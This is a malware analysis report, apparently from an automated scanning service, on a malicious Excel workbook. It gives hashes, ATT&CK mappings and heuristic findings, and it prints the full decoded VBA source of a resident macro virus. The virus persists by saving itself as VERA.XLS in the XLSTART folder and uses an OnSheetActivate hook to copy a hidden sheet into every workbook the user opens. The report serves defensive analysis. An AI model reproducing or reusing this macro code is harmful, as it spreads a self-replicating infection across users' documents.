Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3fbbdcd2002c3b11…

MALICIOUS

Office (OLE)

30.0 KB Created: 2007-05-13 08:12:22 Authoring application: Microsoft Excel First seen: 2014-11-01
MD5: 014d5922485f1764f7ec3807e394e458 SHA-1: a890b6f8d2ee125252ce2935d69d9f89098d6684 SHA-256: 3fbbdcd2002c3b1193bb008e373eebe32fb9d6abfa019b6d10e9a62726bed800
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

This malicious Excel document contains VBA macros, including an Auto_Open subroutine. The script copies the current workbook to the Excel startup directory as 'VERA.XLS', establishing persistence. It also attempts to infect other workbooks by copying itself into them using an OnSheetActivate hook.

Heuristics 5

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set x = CreateObject("ADODB.Connection")
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
        ChDir Application.StartupPath
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
        Application.OnSheetActivate = "check_files"
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2340 bytes
SHA-256: c00420b9484d08661659c85125905e6fcd69cf8eeead6e4133004162b28cb50e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Locas"



Sub fig()
    
    Set x = CreateObject("ADODB.Connection")
    
    x.Open "Provider=Microsoft.Jet.OLEDB.4.0;Extended Properties=Excel 8.0;Data Source=" & ThisWorkbook.FullName
Sql = "select mid(款号,1,2) & '0000 组', sum(件数) from [货品销售$] group by  mid(款号,1,2)"

    Set yy = x.Execute(Sql)
   [g10:h44].Clear
   [g10].CopyFromRecordset yy
   
        Set yy = Nothing:    Set x = Nothing
End Sub





















Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
    Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
Attribute check_files.VB_ProcData.VB_Invoke_Func = " \n14"
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "VERA.XLS")
    If m$ = "VERA.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("locas").Visible = True
    Sheets("locas").Select
    Sheets("locas").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "VERA.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("LOCAS").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "VERA.xls!check_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "LOCAS" Then
         Workbooks("VERA.XLS").Sheets("LOCAS").Copy before:=Workbooks(n4$).Sheets(1)
    Workbooks(n4$).Sheets("LOCAS").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = Tru
    Application.OnSheetActivate = "VERA.xls!check_files"
    Case Else
End Select
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.